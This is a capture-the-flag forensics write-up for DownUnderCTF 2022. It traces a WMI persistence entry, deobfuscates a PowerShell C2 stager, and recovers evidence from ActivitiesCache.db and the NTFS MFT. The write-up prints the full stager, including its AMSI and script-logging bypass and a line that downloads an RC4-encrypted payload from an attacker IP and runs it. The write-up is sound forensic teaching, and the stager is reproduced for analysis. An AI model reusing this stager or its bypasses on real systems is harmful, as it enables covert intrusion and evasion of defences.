DFIR Investigation - DownUnderCTF 2022 Writeup

Posted on Sat, Oct 8, 2022 DownUnderCTF 2022 Forensics Code Deobfuscation ActivitiesCache MFT
A digital forensics and incident response challenge on deobfuscating a C2 persistence PowerShell stager, using ActivitiesCache.db to reveal past user activities, and recovering resident data from the NTFS Master File Table.

Preface

Recently, I participated in DownUnderCTF 2022 with my team AdelaideB9. We came 57th out of around 2,000 teams and couldn’t be happier. I really enjoyed the challenges, they were original, frustrating at times, but interesting and educational overall. The highlight for me would have to go to the “DFIR Investigation”, which is a two-part Windows digital forensics challenge. It covers aspects of the NTFS file system and Windows logging mechanisms that I never knew existed before.

Challenge description

An attacker has installed a C2 persistence mechanism on this system.

Flag 1 format: DUCTF{hh:mm_IP}

Flag 1 example: DUCTF{15:27_10.0.0.8}

Flag 2 format: DUCTF{hh:mm:ss_string}

Flag 2 example: DUCTF{18:13:45_hunter2}

dfir-investigation.zip322231.7KB

File password: Awt4Wh6dT3by0hXmfFZn

Author: keebs#2222

Investigating the AD1 image

We are given a ZIP file which we can extract with the password provided in the challenge description, producing a triage-image.ad1 AD1 file.

Searching for this specific file extension, we see that it is a proprietary disk image file used in Accessdata’s FTK Forensic Toolkit. Normally this toolkit would cost $4000, but here we only need the Imager tool to process the file, which is free fortunately.

To start, we will import the image by navigating to File → Add Evidence Item, then selecting Image File.

To make it easier for us to investigate individual files, we will extract all files from the image by right-clicking the root folder and selecting Extract Files:

Finding the C2 persistence mechanism

As the challenge description mentions that the C2 mechanism has a PowerShell stager, we can try to find traces of it by recursively searching for the string “powershell” with grep:

$ grep -a -r "powershell"

Note that we are using the -a option here to show binary files as text, so that we don’t miss anything in those files.

At the end of the output, we see a suspicious Base64-encoded string being passed to PowerShell in the Windows\System32\wbem\Repository\OBJECTS.DATA file, which stores all objects managed by Windows Management Instrumentation (WMI). It is uncommon for a genuine application to be executing an encoded command with PowerShell, especially not with a hidden window style (-W hidden) and in non-interactive mode (-NonI). This has the signature of a malware dropper or some kind of payload stager and should be investigated.

Analysing the PowerShell stager

Immediately, we can see when this stager is scheduled to run in this SQL-like segment:

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 12 AND TargetInstance.Minute= 38 GROUP WITHIN 60
WQLBBFCCB444CF66AA09AE6F15967A6865175BB0ED216D19970A7988B72CDF0A3A4x�@��_�%߬�)�����"��▒��CommandLineEventConsumerC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -enc SQBGACgAJ...

The TargetInstance variable gives us the time of when the stager might be scheduled to run, 12:38.

Decoding the Base64 string with the base64 utility:

$ echo "SQBGACgAJ..." | base64 -d

IF($PSVErSiONTaBLe.PSVErsIOn.MajOr -ge 3){$f0C32=[ReF].ASSemblY.GetTYpe('System.Management.Automation.Utils')."GETFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($F0c32){$ea761=$F0c32.GEtVAlue($NuLL);If($ea761['ScriptB'+'lockLogging']){$eA761['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$ea761['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$Val=[COllEctIoNs.GeNerIC.DICtIonaRY[StRiNg,SysTEM.OBJEct]]::NEw();$VAL.ADD('EnableScriptB'+'lockLogging',0);$VaL.ADD('EnableScriptBlockInvocationLogging',0);$Ea761['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val}ElSe{[ScRIpTBlOck]."GETFie`ld"('signatures','N'+'onPublic,Static').SetVAlUe($null,(NEW-OBjECt CoLLEctIONs.GEnERic.HAsHSeT[stRinG]))}$REf=[REf].AsSEmbLy.GEtTYPe('System.Management.Automation.Amsi'+'Utils');$REf.GeTFIeLd('amsiInitF'+'ailed','NonPublic,Static').SEtValUE($NuLL,$trUE);};[SystEm.Net.SErvICEPointMANagER]::ExpECt100COntiNUE=0;$b3904=NEw-OBJECt SYstem.NeT.WebCLIeNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([TeXT.EnCODing]::UNICOdE.GeTSTrINg([ConVERT]::FRomBAsE64StRiNg('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADIANwA6ADcANwA3ADcA')));$t='/admin/get.php';$b3904.HeAdeRs.AdD('User-Agent',$u);$b3904.PRoXy=[SysTEm.NeT.WEbREqUest]::DEFaultWEBPrOXy;$b3904.PRoXy.CREdenTials = [SYstem.NeT.CREdENtIaLCaChE]::DEFAultNetWOrKCredEnTiAlS;$Script:Proxy = $b3904.Proxy;$K=[SYSteM.TexT.EnCODINg]::ASCII.GeTByTes('/Y0dzf;_)NkL^~M#K(xG]*rOFe,C}2%R');$R={$D,$K=$ARgs;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUnt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$B3904.HEADErs.ADD("Cookie","lvzoFoofzAIvDVtv=kwVHnweXSgzIzxxP+6gO0Di09Jg=");$dAta=$B3904.DowNLOAdDaTA($SER+$T);$IV=$Data[0..3];$daTA=$daTA[4..$daTA.lengTh];-JoIn[CHAr[]](& $R $DatA ($IV+$K))|IEX

We see a chunk of obfuscated PowerShell code, which is another sign that this is doing something malicious. Let’s break this down further to understand what it is doing:

IF ($PSVErSiONTaBLe.PSVErsIOn.MajOr -ge 3) {
	$f0C32 = [ReF].ASSemblY.GetTYpe('System.Management.Automation.Utils')."GETFiE`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static');
	IF ($F0c32) {
		$ea761 = $F0c32.GEtVAlue($NuLL);
		If ($ea761['ScriptB'+'lockLogging']) {
			$eA761['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;
			$ea761['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
		}
		$Val = [COllEctIoNs.GeNerIC.DICtIonaRY[StRiNg,SysTEM.OBJEct]]::NEw();
		$VAL.ADD('EnableScriptB'+'lockLogging', 0);
		$VaL.ADD('EnableScriptBlockInvocationLogging', 0);
		$Ea761['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
	}	ElSe {
		[ScRIpTBlOck]."GETFie`ld"('signatures', 'N'+'onPublic,Static').SetVAlUe($null, (NEW-OBjECt CoLLEctIONs.GEnERic.HAsHSeT[stRinG]))
	}
	$REf=[REf].AsSEmbLy.GEtTYPe('System.Management.Automation.Amsi'+'Utils');
	$REf.GeTFIeLd('amsiInitF'+'ailed', 'NonPublic,Static').SEtValUE($NuLL,$trUE);
};
[SystEm.Net.SErvICEPointMANagER]::ExpECt100COntiNUE = 0;
$b3904 = NEw-OBJECt SYstem.NeT.WebCLIeNT;
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser = $([TeXT.EnCODing]::UNICOdE.GeTSTrINg([ConVERT]::FRomBAsE64StRiNg('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADIANwA6ADcANwA3ADcA')));
$t = '/admin/get.php';
$b3904.HeAdeRs.AdD('User-Agent', $u);
$b3904.PRoXy = [SysTEm.NeT.WEbREqUest]::DEFaultWEBPrOXy;
$b3904.PRoXy.CREdenTials = [SYstem.NeT.CREdENtIaLCaChE]::DEFAultNetWOrKCredEnTiAlS;
$Script:Proxy = $b3904.Proxy;
$K = [SYSteM.TexT.EnCODINg]::ASCII.GeTByTes('/Y0dzf;_)NkL^~M#K(xG]*rOFe,C}2%R');
$R = {
	$D, $K = $ARgs;
	$S = 0..255;
	0..255 | % {
		$J = ($J + $S[$_] + $K[$_%$K.COUnt]) % 256;
		$S[$_], $S[$J] = $S[$J], $S[$_]
	};
	$D | % {
		$I = ($I+1) % 256;
		$H = ($H+$S[$I]) % 256;
		$S[$I], $S[$H] = $S[$H], $S[$I];
		$_-bXoR$S[($S[$I] + $S[$H]) % 256]
	}
};
$B3904.HEADErs.ADD("Cookie","lvzoFoofzAIvDVtv=kwVHnweXSgzIzxxP+6gO0Di09Jg=");
$dAta = $B3904.DowNLOAdDaTA($SER+$T);
$IV = $Data[0..3];
$daTA = $daTA[4..$daTA.lengTh];
-JoIn[CHAr[]](& $R $DatA ($IV+$K)) | IEX

The script seems to be collecting credentials, and making a call back to some attacker server. The aptly-named the $ser variable may offer some hints as to where that call leads:

$ser = $([TeXT.EnCODing]::UNICOdE.GeTSTrINg([ConVERT]::FRomBAsE64StRiNg('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADIANwA6ADcANwA3ADcA')));

Decoding the Base64 variable gives:

$ echo "aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADIANwA6ADcANwA3ADcA" | base64 -d

http://192.168.0.27:7777

And we have the server address!

Flag 1: DUCTF{12:38_192.168.0.27}

Examining the ActivitiesCache database

For the next flag, we are required to locate a passwd.txt file, then find out when it was first opened by the Challenger user, and recover the contents of the file. Unfortunately, this file has either been deleted or was not included in the image dump we were given, so it is not going to be as straightforward as it sounds. Thankfully, Windows has tons of forensic artefacts which we can use to recover information about this file, and possibly contents of the file as well.

To find out when the file was first opened, I figured that we can use the ActivitiesCache database or Windows Timeline, it is part of the Connected Devices Platform Service (CDPSvc) and was first introduced in Windows 10 with version 1803. This database is located in the %USERPROFILE%\AppData\Local\ConnectedDevicesPlatform\L.Username folder, and contains details about a user’s past activities, what program had been executed, their associated payload (including what file was opened), their starting/ending timestamps along with the duration of the activity, and more. It is a gold mine for digital forensic investigators when trying to find out what a user had been doing on their device.

Navigating to \Users\Challenger\AppData\Local\ConnectedDevicesPlatform\L.Challenger, we see the following files:

$ cd Users/Challenger/AppData/Local/ConnectedDevicesPlatform/L.Challenger

$ ls -la

total 3120
drwxr-xr-x 2 kali kali    4096 Oct  8 18:46  .
drwxr-xr-x 3 kali kali    4096 Sep 25 13:49  ..
-rwxr--r-- 1 kali kali    4096 Oct  8 18:46 '$I30'
-rwxr--r-- 1 kali kali 1048576 Oct  8 18:46  ActivitiesCache.db
-rwxr--r-- 1 kali kali   32768 Oct  8 18:46  ActivitiesCache.db-shm
-rwxr--r-- 1 kali kali 2039432 Oct  8 18:46  ActivitiesCache.db-wal
-rwxr--r-- 1 kali kali   57720 Oct  8 18:46  ActivitiesCache.db-wal.FileSlack

Upon searching about the file extensions, we learn that the .db-wal is the write-ahead log file and .db-shm is the shared-memory file used by SQLite3. The write-ahead log acts a roll-forward journal that records transactions which have been committed but not yet applied to the main database, while the shared-memory file acts as a cache that allows the database to quickly locate frames within the write-ahead log.

What this means for us is that the write-ahead log can contain entries which don’t exist in the main ActivitiesCache.db database yet. So, in order to have the complete picture, we’ll merge these entries first before extracting from the database. To do this, we will use SQLite’s VACUUM command:

$ sqlite3 ActivitiesCache.db

sqlite> VACUUM;

And we will exit the console by pressing Ctrl-D.

With the database merged, we can now focus on extracting the entries. This can be done manually by selecting all of the entries in the Activities table, then dig through each entry and converting the relevant timestamp.

$ sqlite3 ActivitiesCache.db

sqlite> SELECT * FROM Activities;

Alternatively, we can make life simpler and just use a tool specifically built for extracting these entries. Eric Zimmerman's Windows 10 Timeline database parser (‣) does exactly what we want here. After downloading the tool, we can extract the entries into a CSV file as so:

> .\WxTCmd.exe -f .\ActivitiesCache.db --csv .\export

WxTCmd version 1.0.0.0

Author: Eric Zimmerman ([email protected])
https://github.com/EricZimmerman/WxTCmd

Command line: -f .\ActivitiesCache.db --csv .\export

Warning: Administrator privileges not found!

ActivityOperation entries found: 0
Activity_PackageId entries found: 97
Activity entries found: 33

Results saved to: .\export

Processing complete in 0.4967 seconds

Unable to delete SQLite.Interop.dll. Delete manually if needed

After extracting, we spot one entry mentioning the passwd.txt file:

ID: 527023dd-5fac-e637-8772-6b5077e95acf
ActivityTypeOrg: 5
ActivityType: ExecuteOpen
Executable: System32\notepad.exe
DisplayText: passwd.txt (Notepad)
ContentInfo: C:\Users\Challenger\Desktop\passwd.txt (file:Unmapped GUID: //C:/Users/Challenger/Desktop/passwdtxt?VolumeId={21D4431B-0000-0000-0000-300300000000}&ObjectId={119740AE-8233-11EB-9779-0800272ADCE0}&KnownFolderId=ThisPCDesktopFolder&KnownFolderLength=27)
Payload: {"displayText":"passwd.txt","activationUri":"ms-shellactivity:","appDisplayName":"Notepad","description":"C:\\Users\\Challenger\\Desktop\\passwd.txt","backgroundColor":"black","contentUri":"file:///C:/Users/Challenger/Desktop/passwd.txt?VolumeId={21D4431B-0000-0000-0000-300300000000}&ObjectId={119740AE-8233-11EB-9779-0800272ADCE0}&KnownFolderId=ThisPCDesktopFolder&KnownFolderLength=27"}
StartTime: 2021/03/15 08:25:27
LastModifiedTime: 2021/03/15 08:25:27
LastModifiedOnClient: 2021/03/15 08:25:27
ExpirationTime: 2021/04/14 08:25:27
IsLocalOnly: FALSE
ETag: 25
PackageIdHash: eUssiHYOx8gt4grLn60pEG2m1QnscYA3695n7jpHJwY=
PlatformDeviceId: m4BX9Kr6199rI3dn2ELrOcKcapIT5hu1YadnBSQ1yl8=
TimeZone: Australia/Sydney

We have our winner! The time was 08:25:27 when the user first opened the passwd.txt file.

Recovering the file contents from $MFT

Next, let’s recover the string that was contained in passwd.txt.

In the NT file system (NTFS), there is the Master File Table ($MFT) file located in the volume’s root directory. The MFT file keeps track of all files on the volume, their logical and physical location on the disk, as well as their metadata such as the time when it was created or its permissions. In cases where the file is very small, the contents of the file can also be stored in the MFT as “resident data”. If the entry for passwd.txt still exists in the MFT and the file data has not been overwritten at the time when the disk image was captured, we can recover the file!

Once again, we can do this the hard way by digging through each MFT entry manually, or we can do it the easy way by opening the MFT file using a specialised tool for it. Eric Zimmerman’s MFT Explorer is a great tool for this.

After opening the MFT file, all we have to do is navigate to where the passwd.txt is stored. We saw this previously when extracting the entry from the ActivitiesCache database: C:\Users\Challenger\Desktop\passwd.txt

**** DATA ****
Type: Data, Attribute #: 0x1, Size: 0x28, Content size: 0xD, Name size: 0x0, Content offset: 0x18, Resident: True

Resident Data
Data: 7B-52-33-73-69-64-65-6E-74-21-61-6C-7D

ASCII: {R3sident!al}

And we have the password! Which turned out to be R3sident!al (without the curly brackets).

Flag 2: DUCTF{08:25:27_R3sident!al}

Resources

  1. Windows 10 Timeline – Initial Review of Forensic Artefacts - https://salt4n6.com/2018/05/03/windows-10-timeline-forensic-artefacts/
  2. Temporary Files Used By SQLite - https://www.sqlite.org/tempfiles.html
  3. Resident $DATA Residue in NTFS MFT Entries - https://www.sans.org/blog/resident-data-residue-in-ntfs-mft-entries/
  4. Eric Zimmerman’s tools - https://ericzimmerman.github.io/#!index.md